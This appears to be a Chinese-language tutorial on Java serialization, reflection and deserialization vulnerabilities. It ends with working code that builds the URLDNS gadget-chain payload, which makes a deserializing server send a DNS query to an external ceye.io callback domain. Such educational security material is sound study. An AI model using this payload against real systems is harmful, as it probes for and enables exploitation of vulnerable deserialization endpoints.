Java序列化基础
Java序列化基础
序列化与反序列化
序列化就是将一个对象压缩为字节流的形式,而反序列化就是将字节流转换回内存中的对象
为什么会不安全
- 对于Java来说,反序列化不安全的点,是在于其反序列化时进行了“额外的操作”(重写readObject方法中的内容)
- 可能的危险形式
- 入口类的readObject直接调用危险方法
- 入口类参数中包含可控类,该类有危险方法,readObject时调用
- 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用,比如在类型为Object时调用对应的equals/hashcode/toString等方法
- 构造函数或静态代码块等类加载时隐式执行
一些条件
共同条件:实现Serializable接口
入口类 source(重写readObject,参数类型宽泛,最好JDK自带)
调用链 gadget chain
执行类 sink (RCE,SSRF,写文件等)
反射
官方释义:Java的反射机制是指在运行状态中,对于任意一个类都能知道这个类的所有属性和方法,并且对于任意一个对象,都能调用它的任意一个方法,这种动态获取信息以及动态调用对象方法的功能称为Java的反射机制
作用
- 让Java具有动态性
- 修改已有对象的属性
- 动态生成对象
- 动态调用方法
- 操作内部类和私有方法
一些反射方法
obj.getClass()
获取对象类Class对象cla.getConstructor(参数1类型,参数2类型)
获取对象指定形式的构造方法Constructor对象cst.newInstance(参数1,参数2)
通过指定的构造方法新建对一个对应类的对象cls.getDeclaredFields()
获取所有类中声明的变量,返回一个Field数组cls.getDeclaredField(变量名)
通过变量名获得该类变量对象,返回一个Field对象fld.set(对象,新变量值)
给对象设置新变量内容fld.setAccessible(布尔)
给类的变量设置访问属性,true为可访问cls.getMethods()
获取类的所有方法,返回一个Method数组cls.getMethods(方法名,参数范型)
通过方法名获取该类方法,返回一个Method对象med.invoke(对象,传参)
反射在反序列化中的应用
- 定制需要的对象
- 通过invoke调用除同名函数之外的函数
- 通过Class类创建对象,引入不能序列化的类
代理
为其他对象提供一个代理来访问原对象,比如各种的get和set方法就是一种代理
静态代理
动态代理
需要使用JDK中的Proxy类
Java序列化实例
需要实现java.io.Serializable接口(该接口是一个空接口)
//Person.java
package top.darkflow;
import java.io.Serializable;
public class Person implements Serializable {
public String name;
public int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
//Main.java
package top.darkflow;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws IOException {
Person p=new Person("Jlan",18);
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(p);//序列化过程
objectOutputStream.close();
}
}
一些注意事项
- 序列化针对的是对象而不是类,所以在序列化时静态成员是不会被序列化的
- 如果子类实现了Serializable接口而父类没有实现,那么在序列化时父类定义的内容不会被序列化
- 如果类中添加了transient关键字,那么该属性不会被序列化
//Main.java
package top.darkflow;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.ser"));
Person p=(Person)objectInputStream.readObject();//需要强制类型转换
System.out.println(p.name);
objectInputStream.close();
}
}
- 类中serialVersionUID,如果序列化与反序列化类的serialVersionUID不同会直接抛出异常
一个简单的反序列化链
URLDNS
该链由两个类组成,分别是HashMap和URLStreamHandler类
HashMap中重载了readObject函数
for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
此处调用了hash函数,那么如果其中有变量重写了hash函数,那么就有可能有漏洞
我们发现URLStreamHandler类中的hashCode函数调用了
getHostAddress
方法,此处对传入参数u进行了DNS查询,此时反序列化链就明显了```
HashMap.readObject->URLStreamHandler.hashCode->getHostAddress```java public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { String url="http://kcywg9.ceye.io"; URLStreamHandler handler=new SilentURLStreamHandler(); HashMap ht=new HashMap(); URL u=new URL(null,url,handler); ht.put(u,url); ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ht.ser")); objectOutputStream.writeObject(ht);//序列化过程 objectOutputStream.close(); } static class SilentURLStreamHandler extends URLStreamHandler{ SilentURLStreamHandler(){} protected URLConnection openConnection(URL u) throws IOException{ return null; } protected synchronized InetAddress getHostAddress(URL u){return null;} } }